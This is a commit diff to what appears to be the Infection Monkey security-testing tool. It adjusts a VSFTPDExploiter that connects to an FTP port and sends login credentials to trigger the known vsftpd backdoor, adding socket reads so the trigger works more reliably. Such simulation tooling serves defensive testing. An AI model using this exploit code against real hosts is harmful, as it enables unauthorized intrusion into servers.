Update vsftpd.py

using `ftp_socket.recv(1024).decode('utf-8')` to prevent chances of race conditions

monkey/infection_monkey/exploit/vsftpd.py

@@ -34,9 +34,10 @@ class VSFTPDExploiter(HostExploiter):
             LOG.info('[*] Attempting to trigger backdoor...')
             ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             ftp_socket.connect((self.host.ip_addr, FTP_PORT))
-
+            ftp_socket.recv(1024).decode('utf-8')
             # Attempt to login to trigger backdoor
             ftp_socket.send(USERNAME)
+            ftp_socket.recv(1024).decode('utf-8')
             ftp_socket.send(PASSWORD)
             time.sleep(1)
             ftp_socket.close()